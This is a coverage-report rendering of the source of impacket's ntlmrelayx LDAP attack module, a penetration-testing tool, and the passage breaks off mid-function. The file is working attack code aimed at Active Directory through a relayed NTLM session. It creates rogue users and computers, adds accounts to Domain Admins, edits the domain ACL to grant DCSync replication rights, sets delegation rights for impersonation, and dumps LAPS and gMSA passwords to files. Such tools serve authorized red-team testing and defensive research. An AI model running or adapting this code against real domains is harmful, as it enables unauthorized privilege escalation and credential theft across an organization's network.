Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/attacks/ldapattack.py : 8%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2#
3# This software is provided under under a slightly modified version
4# of the Apache Software License. See the accompanying LICENSE file
5# for more information.
6#
7# LDAP Attack Class
8#
9# Authors:
10# Alberto Solino (@agsolino)
11# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
12#
13# Description:
14# LDAP(s) protocol relay attack
15#
16# ToDo:
17#
18import _thread
19import random
20import string
21import json
22import datetime
23import binascii
24import codecs
25import re
26import ldap3
27import ldapdomaindump
28from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM
29from ldap3.utils.conv import escape_filter_chars
30import os
31from Cryptodome.Hash import MD4
33from impacket import LOG
34from impacket.examples.ldap_shell import LdapShell
35from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
36from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell
37from impacket.ldap import ldaptypes
38from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP
39from impacket.uuid import string_to_bin, bin_to_string
40from impacket.structure import Structure, hexdump
42# This is new from ldap3 v2.5
43try:
44 from ldap3.protocol.microsoft import security_descriptor_control
45except ImportError:
46 # We use a print statement because the logger is not initialized yet here
47 print('Failed to import required functions from ldap3. ntlmrelayx required ldap3 >= 2.5.0. \
48Please update with pip install ldap3 --upgrade')
49PROTOCOL_ATTACK_CLASS = "LDAPAttack"
51# Define global variables to prevent dumping the domain twice
52# and to prevent privilege escalating more than once
53dumpedDomain = False
54alreadyEscalated = False
55alreadyAddedComputer = False
56delegatePerformed = []
58#gMSA structure
59class MSDS_MANAGEDPASSWORD_BLOB(Structure):
60 structure = (
61 ('Version','<H'),
62 ('Reserved','<H'),
63 ('Length','<L'),
64 ('CurrentPasswordOffset','<H'),
65 ('PreviousPasswordOffset','<H'),
66 ('QueryPasswordIntervalOffset','<H'),
67 ('UnchangedPasswordIntervalOffset','<H'),
68 ('CurrentPassword',':'),
69 ('PreviousPassword',':'),
70 #('AlignmentPadding',':'),
71 ('QueryPasswordInterval',':'),
72 ('UnchangedPasswordInterval',':'),
73 )
75 def __init__(self, data = None):
76 Structure.__init__(self, data = data)
78 def fromString(self, data):
79 Structure.fromString(self,data)
81 if self['PreviousPasswordOffset'] == 0:
82 endData = self['QueryPasswordIntervalOffset']
83 else:
84 endData = self['PreviousPasswordOffset']
86 self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:endData - self['CurrentPasswordOffset']]
87 if self['PreviousPasswordOffset'] != 0:
88 self['PreviousPassword'] = self.rawData[self['PreviousPasswordOffset']:][:self['QueryPasswordIntervalOffset']-self['PreviousPasswordOffset']]
90 self['QueryPasswordInterval'] = self.rawData[self['QueryPasswordIntervalOffset']:][:self['UnchangedPasswordIntervalOffset']-self['QueryPasswordIntervalOffset']]
91 self['UnchangedPasswordInterval'] = self.rawData[self['UnchangedPasswordIntervalOffset']:]
94class LDAPAttack(ProtocolAttack):
95 """
96 This is the default LDAP attack. It checks the privileges of the relayed account
97 and performs a domaindump if the user does not have administrative privileges.
98 If the user is an Enterprise or Domain admin, a new user is added to escalate to DA.
99 """
100 PLUGIN_NAMES = ["LDAP", "LDAPS"]
102 # ACL constants
103 # When reading, these constants are actually represented by
104 # the following for Active Directory specific Access Masks
105 # Reference: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2
106 GENERIC_READ = 0x00020094
107 GENERIC_WRITE = 0x00020028
108 GENERIC_EXECUTE = 0x00020004
109 GENERIC_ALL = 0x000F01FF
111 def __init__(self, config, LDAPClient, username):
112 self.computerName = '' if config.addcomputer == 'Rand' else config.addcomputer
113 ProtocolAttack.__init__(self, config, LDAPClient, username)
114 if self.config.interactive:
115 # Launch locally listening interactive shell.
116 self.tcp_shell = TcpShell()
118 def addComputer(self, parent, domainDumper):
119 """
120 Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can
121 also be an OU or other container where we have write privileges
122 """
123 global alreadyAddedComputer
124 if alreadyAddedComputer:
125 LOG.error('New computer already added. Refusing to add another')
126 return
128 # Random password
129 newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
131 # Get the domain we are in
132 domaindn = domainDumper.root
133 domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]
135 computerName = self.computerName
136 if not computerName:
137 # Random computername
138 newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper()
139 else:
140 newComputer = computerName if computerName.endswith('$') else computerName + '$'
142 computerHostname = newComputer[:-1]
143 newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8')
145 # Default computer SPNs
146 spns = [
147 'HOST/%s' % computerHostname,
148 'HOST/%s.%s' % (computerHostname, domain),
149 'RestrictedKrbHost/%s' % computerHostname,
150 'RestrictedKrbHost/%s.%s' % (computerHostname, domain),
151 ]
152 ucd = {
153 'dnsHostName': '%s.%s' % (computerHostname, domain),
154 'userAccountControl': 4096,
155 'servicePrincipalName': spns,
156 'sAMAccountName': newComputer,
157 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
158 }
159 LOG.debug('New computer info %s', ucd)
160 LOG.info('Attempting to create computer in: %s', parent)
161 res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd)
162 if not res:
163 # Adding computers requires LDAPS
164 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
165 LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.')
166 else:
167 LOG.error('Failed to add a new computer: %s' % str(self.client.result))
168 return False
169 else:
170 LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword))
171 alreadyAddedComputer = True
172 # Return the SAM name
173 return newComputer
175 def addUser(self, parent, domainDumper):
176 """
177 Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can
178 also be an OU or other container where we have write privileges
179 """
180 global alreadyEscalated
181 if alreadyEscalated:
182 LOG.error('New user already added. Refusing to add another')
183 return
185 # Random password
186 newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
188 # Random username
189 newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10))
190 newUserDn = 'CN=%s,%s' % (newUser, parent)
191 ucd = {
192 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root,
193 'distinguishedName': newUserDn,
194 'cn': newUser,
195 'sn': newUser,
196 'givenName': newUser,
197 'displayName': newUser,
198 'name': newUser,
199 'userAccountControl': 512,
200 'accountExpires': '0',
201 'sAMAccountName': newUser,
202 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
203 }
204 LOG.info('Attempting to create user in: %s', parent)
205 res = self.client.add(newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd)
206 if not res:
207 # Adding users requires LDAPS
208 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
209 LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')
210 else:
211 LOG.error('Failed to add a new user: %s' % str(self.client.result))
212 return False
213 else:
214 LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword))
216 # Return the DN
217 return newUserDn
219 def addUserToGroup(self, userDn, domainDumper, groupDn):
220 global alreadyEscalated
221 # For display only
222 groupName = groupDn.split(',')[0][3:]
223 userName = userDn.split(',')[0][3:]
224 # Now add the user as a member to this group
225 res = self.client.modify(groupDn, {
226 'member': [(ldap3.MODIFY_ADD, [userDn])]})
227 if res:
228 LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName))
229 LOG.info('Privilege escalation succesful, shutting down...')
230 alreadyEscalated = True
231 _thread.interrupt_main()
232 else:
233 LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))
235 def delegateAttack(self, usersam, targetsam, domainDumper, sid):
236 global delegatePerformed
237 if targetsam in delegatePerformed:
238 LOG.info('Delegate attack already performed for this computer, skipping')
239 return
241 if not usersam:
242 usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
243 self.config.escalateuser = usersam
245 if not sid:
246 # Get escalate user sid
247 result = self.getUserInfo(domainDumper, usersam)
248 if not result:
249 LOG.error('User to escalate does not exist!')
250 return
251 escalate_sid = str(result[1])
252 else:
253 escalate_sid = usersam
255 # Get target computer DN
256 result = self.getUserInfo(domainDumper, targetsam)
257 if not result:
258 LOG.error('Computer to modify does not exist! (wrong domain?)')
259 return
260 target_dn = result[0]
262 self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
263 targetuser = None
264 for entry in self.client.response:
265 if entry['type'] != 'searchResEntry':
266 continue
267 targetuser = entry
268 if not targetuser:
269 LOG.error('Could not query target user properties')
270 return
271 try:
272 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
273 LOG.debug('Currently allowed sids:')
274 for ace in sd['Dacl'].aces:
275 LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical())
276 except IndexError:
277 # Create DACL manually
278 sd = create_empty_sd()
279 sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
280 self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
281 if self.client.result['result'] == 0:
282 LOG.info('Delegation rights modified succesfully!')
283 LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam)
284 delegatePerformed.append(targetsam)
285 else:
286 if self.client.result['result'] == 50:
287 LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
288 elif self.client.result['result'] == 19:
289 LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
290 else:
291 LOG.error('The server returned an error: %s', self.client.result['message'])
292 return
294 def aclAttack(self, userDn, domainDumper):
295 global alreadyEscalated
296 if alreadyEscalated:
297 LOG.error('ACL attack already performed. Refusing to continue')
298 return
300 # Dictionary for restore data
301 restoredata = {}
303 # Query for the sid of our user
304 self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid'])
305 entry = self.client.entries[0]
306 username = entry['sAMAccountName'].value
307 usersid = entry['objectSid'].value
308 LOG.debug('Found sid for user %s: %s' % (username, usersid))
310 # Set SD flags to only query for DACL
311 controls = security_descriptor_control(sdflags=0x04)
312 alreadyEscalated = True
314 LOG.info('Querying domain security descriptor')
315 self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
316 entry = self.client.entries[0]
317 secDescData = entry['nTSecurityDescriptor'].raw_values[0]
318 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
320 # Save old SD for restore purposes
321 restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
322 restoredata['target_sid'] = usersid
324 secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))
325 secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))
326 dn = entry.entry_dn
327 data = secDesc.getData()
328 self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
329 if self.client.result['result'] == 0:
330 alreadyEscalated = True
331 LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username)
332 LOG.info('Try using DCSync with secretsdump.py and this user :)')
334 # Query the SD again to see what AD made of it
335 self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
336 entry = self.client.entries[0]
337 newSD = entry['nTSecurityDescriptor'].raw_values[0]
338 # Save this to restore the SD later on
339 restoredata['target_dn'] = dn
340 restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
341 restoredata['success'] = True
342 self.writeRestoreData(restoredata, dn)
343 return True
344 else:
345 LOG.error('Error when updating ACL: %s' % self.client.result)
346 return False
348 def writeRestoreData(self, restoredata, domaindn):
349 output = {}
350 domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]
351 output['config'] = {'server':self.client.server.host,'domain':domain}
352 output['history'] = [{'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username}]
353 now = datetime.datetime.now()
354 filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S")
355 # Save the json to file
356 with codecs.open(filename, 'w', 'utf-8') as outfile:
357 json.dump(output, outfile)
358 LOG.info('Saved restore state to %s', filename)
360 def validatePrivileges(self, uname, domainDumper):
361 # Find the user's DN
362 membersids = []
363 sidmapping = {}
364 privs = {
365 'create': False, # Whether we can create users
366 'createIn': None, # Where we can create users
367 'escalateViaGroup': False, # Whether we can escalate via a group
368 'escalateGroup': None, # The group we can escalate via
369 'aclEscalate': False, # Whether we can escalate via ACL on the domain object
370 'aclEscalateIn': None # The object which ACL we can edit
371 }
372 self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId'])
373 user = self.client.entries[0]
374 usersid = user['objectSid'].value
375 sidmapping[usersid] = user.entry_dn
376 membersids.append(usersid)
377 # The groups the user is a member of
378 self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid'])
379 LOG.debug('User is a member of: %s' % self.client.entries)
380 for entry in self.client.entries:
381 sidmapping[entry['objectSid'].value] = entry.entry_dn
382 membersids.append(entry['objectSid'].value)
383 # Also search by primarygroupid
384 # First get domain SID
385 self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid'])
386 domainsid = self.client.entries[0]['objectSid'].value
387 gid = user['primaryGroupId'].value
388 # Now search for this group by SID
389 self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName'])
390 group = self.client.entries[0]
391 LOG.debug('User is a member of: %s' % self.client.entries)
392 # Add the group sid of the primary group to the list
393 sidmapping[group['objectSid'].value] = group.entry_dn
394 membersids.append(group['objectSid'].value)
395 controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl
396 # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs
397 entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
398 self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)
399 # Also get the privileges on the default Users container
400 entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
401 self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)
403 # Interesting groups we'd like to be a member of, in order of preference
404 interestingGroups = [
405 '%s-%d' % (domainsid, 519), # Enterprise admins
406 '%s-%d' % (domainsid, 512), # Domain admins
407 'S-1-5-32-544', # Built-in Administrators
408 'S-1-5-32-551', # Backup operators
409 'S-1-5-32-548', # Account operators
410 ]
411 privs['escalateViaGroup'] = False
412 for group in interestingGroups:
413 self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls)
414 groupdata = self.client.response
415 self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper)
416 if privs['escalateViaGroup']:
417 # We have a result - exit the loop
418 break
419 return (usersid, privs)
421 def getUserInfo(self, domainDumper, samname):
422 entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
423 try:
424 dn = self.client.entries[0].entry_dn
425 sid = self.client.entries[0]['objectSid']
426 return (dn, sid)
427 except IndexError:
428 LOG.error('User not found in LDAP: %s' % samname)
429 return False
431 def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper):
432 standardrights = [
433 self.GENERIC_ALL,
434 self.GENERIC_WRITE,
435 self.GENERIC_READ,
436 ACCESS_MASK.WRITE_DACL
437 ]
438 for entry in entries:
439 if entry['type'] != 'searchResEntry':
440 continue
441 dn = entry['dn']
442 try:
443 sdData = entry['raw_attributes']['nTSecurityDescriptor'][0]
444 except IndexError:
445 # We don't have the privileges to read this security descriptor
446 LOG.debug('Access to security descriptor was denied for DN %s', dn)
447 continue
448 hasFullControl = False
449 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR()
450 secDesc.fromString(sdData)
451 if secDesc['OwnerSid'] != '' and secDesc['OwnerSid'].formatCanonical() in membersids:
452 sid = secDesc['OwnerSid'].formatCanonical()
453 LOG.debug('Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid]))
454 hasFullControl = True
455 # Iterate over all the ACEs
456 for ace in secDesc['Dacl'].aces:
457 sid = ace['Ace']['Sid'].formatCanonical()
458 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE:
459 continue
460 if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(ACE.INHERIT_ONLY_ACE):
461 # ACE is set on this object, but only inherited, so not applicable to us
462 continue
464 # Check if the ACE has restrictions on object type (inherited case)
465 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \
466 and ace.hasFlag(ACE.INHERITED_ACE) \
467 and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT):
468 # Verify if the ACE applies to this object type
469 inheritedObjectType = bin_to_string(ace['Ace']['InheritedObjectType']).lower()
470 if not self.aceApplies(inheritedObjectType, entry['raw_attributes']['objectClass'][-1]):
471 continue
472 # Check for non-extended rights that may not apply to us
473 if ace['Ace']['Mask']['Mask'] in standardrights or ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL):
474 # Check if this applies to our objecttype
475 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):
476 objectType = bin_to_string(ace['Ace']['ObjectType']).lower()
477 if not self.aceApplies(objectType, entry['raw_attributes']['objectClass'][-1]):
478 # LOG.debug('ACE does not apply, only to %s', objectType)
479 continue
480 if sid in membersids:
481 # Generic all
482 if ace['Ace']['Mask'].hasPriv(self.GENERIC_ALL):
483 ace.dump()
484 LOG.debug('Permission found: Full Control on %s; Reason: GENERIC_ALL via %s' % (dn, sidmapping[sid]))
485 hasFullControl = True
486 if can_create_users(ace) or hasFullControl:
487 if not hasFullControl:
488 LOG.debug('Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
489 if dn == 'CN=Users,%s' % domainDumper.root:
490 # We can create users in the default container, this is preferred
491 privs['create'] = True
492 privs['createIn'] = dn
493 else:
494 # Could be a different OU where we have access
495 # store it until we find a better place
496 if privs['createIn'] != 'CN=Users,%s' % domainDumper.root and b'organizationalUnit' in entry['raw_attributes']['objectClass']:
497 privs['create'] = True
498 privs['createIn'] = dn
499 if can_add_member(ace) or hasFullControl:
500 if b'group' in entry['raw_attributes']['objectClass']:
501 # We can add members to a group
502 if not hasFullControl:
503 LOG.debug('Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
504 privs['escalateViaGroup'] = True
505 privs['escalateGroup'] = dn
506 if ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL) or hasFullControl:
507 # Check if the ACE is an OBJECT ACE, if so the WRITE_DACL is applied to
508 # a property, which is both weird and useless, so we skip it
509 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \
510 and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):
511 # LOG.debug('Skipping WRITE_DACL since it has an ObjectType set')
512 continue
513 if not hasFullControl:
514 LOG.debug('Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
515 # We can modify the domain Dacl
516 if b'domain' in entry['raw_attributes']['objectClass']:
517 privs['aclEscalate'] = True
518 privs['aclEscalateIn'] = dn
520 @staticmethod
521 def aceApplies(ace_guid, object_class):
522 '''
523 Checks if an ACE applies to this object (based on object classes).
524 Note that this function assumes you already verified that InheritedObjectType is set (via the flag).
525 If this is not set, the ACE applies to all object types.
526 '''
527 try:
528 our_ace_guid = OBJECTTYPE_GUID_MAP[object_class]
529 except KeyError:
530 return False
531 if ace_guid == our_ace_guid:
532 return True
533 # If none of these match, the ACE does not apply to this object
534 return False
537 def run(self):
538 #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)')
539 #print self.client.entries
540 global dumpedDomain
541 # Set up a default config
542 domainDumpConfig = ldapdomaindump.domainDumpConfig()
544 # Change the output directory to configured rootdir
545 domainDumpConfig.basepath = self.config.lootdir
547 # Create new dumper object
548 domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig)
550 if self.config.interactive:
551 if self.tcp_shell is not None:
552 LOG.info('Started interactive Ldap shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port)
553 # Start listening and launch interactive shell.
554 self.tcp_shell.listen()
555 ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client)
556 ldap_shell.cmdloop()
557 return
559 # If specified validate the user's privileges. This might take a while on large domains but will
560 # identify the proper containers for escalating via the different techniques.
561 if self.config.validateprivs:
562 LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains')
563 userSid, privs = self.validatePrivileges(self.username, domainDumper)
564 if privs['create']:
565 LOG.info('User privileges found: Create user')
566 if privs['escalateViaGroup']:
567 name = privs['escalateGroup'].split(',')[0][3:]
568 LOG.info('User privileges found: Adding user to a privileged group (%s)' % name)
569 if privs['aclEscalate']:
570 LOG.info('User privileges found: Modifying domain ACL')
572 # If validation of privileges is not desired, we assumed that the user has permissions to escalate
573 # an existing user via ACL attacks.
574 else:
575 LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack')
576 privs = dict()
577 privs['create'] = False
578 privs['aclEscalate'] = True
579 privs['escalateViaGroup'] = False
581 # We prefer ACL escalation since it is more quiet
582 if self.config.aclattack and privs['aclEscalate']:
583 LOG.debug('Performing ACL attack')
584 if self.config.escalateuser:
585 # We can escalate an existing user
586 result = self.getUserInfo(domainDumper, self.config.escalateuser)
587 # Unless that account does not exist of course
588 if not result:
589 LOG.error('Unable to escalate without a valid user.')
590 else:
591 userDn, userSid = result
592 # Perform the ACL attack
593 self.aclAttack(userDn, domainDumper)
594 elif privs['create']:
595 # Create a nice shiny new user for the escalation
596 userDn = self.addUser(privs['createIn'], domainDumper)
597 if not userDn:
598 LOG.error('Unable to escalate without a valid user.')
599 # Perform the ACL attack
600 else:
601 self.aclAttack(userDn, domainDumper)
602 else:
603 LOG.error('Cannot perform ACL escalation because we do not have create user '\
604 'privileges. Specify a user to assign privileges to with --escalate-user')
606 # If we can't ACL escalate, try adding us to a privileged group
607 if self.config.addda and privs['escalateViaGroup']:
608 LOG.debug('Performing Group attack')
609 if self.config.escalateuser:
610 # We can escalate an existing user
611 result = self.getUserInfo(domainDumper, self.config.escalateuser)
612 # Unless that account does not exist of course
613 if not result:
614 LOG.error('Unable to escalate without a valid user.')
615 # Perform the Group attack
616 else:
617 userDn, userSid = result
618 self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])
620 elif privs['create']:
621 # Create a nice shiny new user for the escalation
622 userDn = self.addUser(privs['createIn'], domainDumper)
623 if not userDn:
624 LOG.error('Unable to escalate without a valid user, aborting.')
625 # Perform the Group attack
626 else:
627 self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])
629 else:
630 LOG.error('Cannot perform ACL escalation because we do not have create user '\
631 'privileges. Specify a user to assign privileges to with --escalate-user')
633 # Dump LAPS Passwords
634 if self.config.dumplaps:
635 LOG.info("Attempting to dump LAPS passwords")
637 success = self.client.search(domainDumper.root, '(&(objectCategory=computer))', search_scope=ldap3.SUBTREE, attributes=['DistinguishedName','ms-MCS-AdmPwd'])
639 if success:
641 fd = None
642 filename = "laps-dump-" + self.username + "-" + str(random.randint(0, 99999))
643 count = 0
645 for entry in self.client.response:
646 try:
647 dn = "DN:" + entry['attributes']['distinguishedname']
648 passwd = "Password:" + entry['attributes']['ms-MCS-AdmPwd']
650 if fd is None:
651 fd = open(filename, "a+")
653 count += 1
655 LOG.debug(dn)
656 LOG.debug(passwd)
658 fd.write(dn)
659 fd.write("\n")
660 fd.write(passwd)
661 fd.write("\n")
663 except:
664 continue
666 if fd is None:
667 LOG.info("The relayed user %s does not have permissions to read any LAPS passwords" % self.username)
668 else:
669 LOG.info("Successfully dumped %d LAPS passwords through relayed account %s" % (count, self.username))
670 fd.close()
672 #Dump gMSA Passwords
673 if self.config.dumpgmsa:
674 LOG.info("Attempting to dump gMSA passwords")
675 success = self.client.search(domainDumper.root, '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=ldap3.SUBTREE, attributes=['sAMAccountName','msDS-ManagedPassword'])
676 if success:
677 fd = None
678 filename = "gmsa-dump-" + self.username + "-" + str(random.randint(0, 99999))
679 count = 0
680 for entry in self.client.response:
681 try:
682 sam = entry['attributes']['sAMAccountName']
683 data = entry['attributes']['msDS-ManagedPassword']
684 blob = MSDS_MANAGEDPASSWORD_BLOB()
685 blob.fromString(data)
686 hash = MD4.new ()
687 hash.update (blob['CurrentPassword'][:-2])
688 passwd = binascii.hexlify(hash.digest()).decode("utf-8")
689 userpass = sam + ':::' + passwd
690 LOG.info(userpass)
691 count += 1
692 if fd is None:
693 fd = open(filename, "a+")
694 fd.write(userpass)
695 fd.write("\n")
696 except:
697 continue
698 if fd is None:
699 LOG.info("The relayed user %s does not have permissions to read any gMSA passwords" % self.username)
700 else:
701 LOG.info("Successfully dumped %d gMSA passwords through relayed account %s" % (count, self.username))
702 fd.close()
704 # Perform the Delegate attack if it is enabled and we relayed a computer account
705 if self.config.delegateaccess and self.username[-1] == '$':
706 self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid)
707 return
709 # Add a new computer if that is requested
710 # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota
711 if self.config.addcomputer:
712 self.client.search(domainDumper.root, "(ObjectClass=domain)", attributes=['wellKnownObjects'])
713 # Computer well-known GUID
714 # https://social.technet.microsoft.com/Forums/windowsserver/en-US/d028952f-a25a-42e6-99c5-28beae2d3ac3/how-can-i-know-the-default-computer-container?forum=winservergen
715 computerscontainer = [
716 entry.decode('utf-8').split(":")[-1] for entry in self.client.entries[0]["wellKnownObjects"]
717 if b"AA312825768811D1ADED00C04FD8D5CD" in entry
718 ][0]
719 LOG.debug("Computer container is {}".format(computerscontainer))
720 self.addComputer(computerscontainer, domainDumper)
721 return
723 # Last attack, dump the domain if no special privileges are present
724 if not dumpedDomain and self.config.dumpdomain:
725 # Do this before the dump is complete because of the time this can take
726 dumpedDomain = True
727 LOG.info('Dumping domain info for first time')
728 domainDumper.domainDump()
729 LOG.info('Domain info dumped into lootdir!')
731# Create an object ACE with the specified privguid and our sid
732def create_object_ace(privguid, sid):
733 nace = ldaptypes.ACE()
734 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE
735 nace['AceFlags'] = 0x00
736 acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE()
737 acedata['Mask'] = ldaptypes.ACCESS_MASK()
738 acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS
739 acedata['ObjectType'] = string_to_bin(privguid)
740 acedata['InheritedObjectType'] = b''
741 acedata['Sid'] = ldaptypes.LDAP_SID()
742 acedata['Sid'].fromCanonical(sid)
743 assert sid == acedata['Sid'].formatCanonical()
744 acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT
745 nace['Ace'] = acedata
746 return nace
748# Create an ALLOW ACE with the specified sid
749def create_allow_ace(sid):
750 nace = ldaptypes.ACE()
751 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
752 nace['AceFlags'] = 0x00
753 acedata = ldaptypes.ACCESS_ALLOWED_ACE()
754 acedata['Mask'] = ldaptypes.ACCESS_MASK()
755 acedata['Mask']['Mask'] = 983551 # Full control
756 acedata['Sid'] = ldaptypes.LDAP_SID()
757 acedata['Sid'].fromCanonical(sid)
758 nace['Ace'] = acedata
759 return nace
761def create_empty_sd():
762 sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
763 sd['Revision'] = b'\x01'
764 sd['Sbz1'] = b'\x00'
765 sd['Control'] = 32772
766 sd['OwnerSid'] = ldaptypes.LDAP_SID()
767 # BUILTIN\Administrators
768 sd['OwnerSid'].fromCanonical('S-1-5-32-544')
769 sd['GroupSid'] = b''
770 sd['Sacl'] = b''
771 acl = ldaptypes.ACL()
772 acl['AclRevision'] = 4
